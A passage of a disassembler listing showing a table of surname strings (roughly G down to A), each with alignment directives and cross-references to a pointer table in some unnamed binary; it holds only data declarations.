aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E348o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E344o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E340o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E33Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E338o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E334o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E330o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E32Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E328o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E324o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E320o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E31Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E318o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E314o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E310o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E30Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E308o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042E304o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042E300o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E2FCo
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E2F8o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E2F4o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E2F0o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E2ECo
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E2E8o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E2E4o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E2E0o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E2DCo
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E2D8o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E2D4o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E2D0o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E2CCo
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E2C8o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2C4o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2C0o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2BCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2B8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2B4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2B0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2ACo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2A8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2A4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2A0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E29Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042E298o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E294o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E290o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E28Co
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E288o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E284o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E280o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E27Co
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E278o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E274o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E270o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042E26Co
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E268o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E264o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E260o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E25Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E258o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E254o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E250o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E24Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042E248o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042E244o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042E240o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E23Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E238o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E234o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E230o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E22Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E228o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E224o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E220o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042E21Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E218o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E214o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E210o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E20Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E208o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E204o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E200o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E1FCo
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E1F8o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E1F4o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E1F0o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E1ECo
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E1E8o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E1E4o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042E1E0o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E1D4o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E1D0o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E1CCo
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E1C8o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1C4o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1C0o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1BCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1B8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1B4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1B0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1ACo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1A8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1A4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1A0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E19Co
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E198o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E194o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E190o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E18Co
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E188o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E184o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E180o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E17Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E178o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E174o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E170o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042E16Co
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E168o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E164o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E160o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E15Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E158o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E154o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E150o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E14Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E148o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E144o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E140o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E13Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E138o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E134o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E130o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E12Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E128o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E124o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E120o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E11Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E118o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E114o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E110o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E10Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E108o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E104o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E100o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E0FCo
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E0F8o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E0F4o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E0F0o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E0ECo
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E0E8o
aDavid		db 'David',0            ; DATA XREF: ___:0042E0E4o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E0E0o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E0DCo
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042E0D8o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E0D4o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E0D0o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042E0CCo
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E0C8o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0C4o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0C0o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0BCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0B8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0B4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0B0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0ACo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0A8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0A4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0A0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E09Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E098o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E094o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E090o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E08Co
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E088o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E084o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E080o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E07Co
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E078o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E074o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E070o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E06Co
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E064o
					; ___:0042E068o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E060o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E05Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042E058o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E054o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E050o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E04Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042E048o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E044o
aClement	db 'Clement',0          ; DATA XREF: ___:0042E040o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E03Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E038o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E034o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E030o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E02Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E028o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042E024o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E020o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E01Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E018o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E014o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E010o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E00Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E008o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E004o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E000o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DFF8o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042DFF4o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DFF0o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DFECo
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DFE8o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DFE4o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DFE0o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DFDCo
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DFD8o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DFD4o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DFD0o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DFCCo
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DFC8o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFC4o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DFC0o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFBCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFB8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFB4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFB0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFACo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFA8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFA4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFA0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DF9Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DF98o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DF94o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DF90o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DF8Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DF88o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DF84o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DF80o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DF7Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DF78o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DF74o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DF70o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DF6Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DF68o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF64o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF60o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF5Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF58o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF54o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF50o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF4Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF48o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF44o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF40o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF3Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF38o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF34o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF30o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF2Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF28o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF24o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF20o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF18o
					; ___:0042DF1Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF14o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF10o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF0Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF08o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF04o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF00o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DEFCo
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DEF8o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DEF4o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DEF0o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DEECo
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DEE8o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DEE4o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DEE0o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DEDCo
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DED8o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DED4o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DED0o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DECCo
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DEC8o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEC4o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEC0o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEBCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEB8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEB4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DEB0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DEACo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DEA8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DEA4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DEA0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DE9Co
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DE98o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DE94o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DE90o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DE8Co
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DE88o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DE84o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DE80o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DE7Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DE78o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DE74o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DE70o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DE6Co
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DE68o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE64o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE60o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE5Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE58o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE54o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE50o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE4Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE48o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE44o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE40o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE3Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE38o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE34o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE30o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE2Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE28o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE24o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE20o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE1Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE18o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE14o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE10o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE0Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE08o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE04o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE00o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DDFCo
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DDF8o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DDF4o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DDF0o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DDECo
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DDE8o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DDE4o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DDE0o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DDDCo
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DDD8o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DDD4o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DDD0o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DDCCo
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DDC8o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDC4o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDC0o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDBCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDB8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDB4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDB0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDACo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDA8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDA4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDA0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DD9Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DD98o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DD94o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DD90o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DD8Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DD88o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DD84o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DD80o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DD7Co
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DD78o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DD74o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DD70o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DD6Co
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DD68o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD64o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD60o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD5Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD58o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD54o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD50o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD4Co
		align 4
